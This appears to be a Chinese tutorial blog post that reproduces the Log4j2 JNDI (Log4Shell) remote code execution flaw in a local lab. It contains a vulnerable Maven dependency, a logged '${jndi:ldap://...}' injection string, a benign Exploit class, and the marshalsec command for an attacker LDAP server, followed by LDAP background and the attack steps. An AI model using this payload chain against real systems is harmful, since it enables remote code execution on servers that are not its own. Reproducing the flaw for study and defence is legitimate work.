核心原理:在打印日志时,遇见${xxx} 会进行解析,并调用 jndi的lookup方法,此方法可以通过ldap服务调用把远程class文件下载到本地并执行其类的构造方法。
具体log4j源码解析,参考:Apache Log4j2 远程代码执行漏洞分析 - 安全客,安全资讯平台
下面模拟的是ldap调用漏洞,rmi协议调用也会有同样问题!!!!
rmi可参考:https://liuhuiyao.blog.csdn.net/article/details/121877160
下面模拟log4j 在log打印日志时,加载远程ladp上的Exploit.class文件,并在本地执行!!!
注意:jar包log4j-core是log4j-api的原生实现,仅引用log4j-api,或者日志对象logger不是log4j-core中的类,是是不会出现漏洞的
测试项目及代码
创建一个maven项目
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>test2</groupId>
<artifactId>test</artifactId>
<version>0.0.1-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
整体代码
package test.anquan;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2 {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1099/test/#Exploit}");
}
}
import java.io.IOException;
public class Exploit{
public Exploit() throws IOException,InterruptedException{
System.out.println("我是远程的class,我在你本地执行了,哈哈哈!!!");
}
}
搭建ldap服务(用开源marshalsec)
开源项目的git代码地址:GitHub - mbechler/marshalsec
编译
这里跳过编译时的test
mvn "-Dmaven.test.skip=true" -P clean package
编译后target目录
演示如何启动ldap服务
上传文件到http服务器
把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class
启动ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099
其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口。
看到listening on 0.0.0.0:1099即启动成功
本地加载ldap服务上的class文件到本地,并在本地执行
执行Log4j2的main方法
关于ldap
LDAP简介
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
- 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性
DC、UID、OU、CN、SN、DN、RDN(互联网命名组织架构使用的这些关键字,还有其他的架构有不同的属关键字)
关键字 | 英文全称 | 含义 |
---|---|---|
dc | Domain Component | 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) |
uid | User Id | 用户ID songtao.xu(一条记录的ID) |
ou | Organization Unit | 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如"employees"(一条记录的所属组织单位) |
cn | Common Name | 公共名称,如"Thomas Johansson"(一条记录的名称) |
sn | Surname | 姓,如"xu" |
dn | Distinguished Name | 由有多个其他属性组成,如"uid=songtao.xu,ou=oa组,dc=example,dc=com",一条记录的位置(唯一) |
rdn | Relative dn | 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” |
LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。例如为公司的员工设置一个DN,可以基于cn或uid(User ID)作为用户账号。如example.com的employees单位员工longofo的DN可以设置为下面这样:
uid=longofo,ou=employees,dc=example,dc=com
用树形结构表示就是下面这种形式(Person绑定的是类对象):
LDAP攻击向量
攻击过程如下:
- 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
- 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
- 服务器解码JNDI引用
- 服务器从攻击者控制的服务器获取Factory类
- 服务器实例化Factory类
- 有效载荷得到执行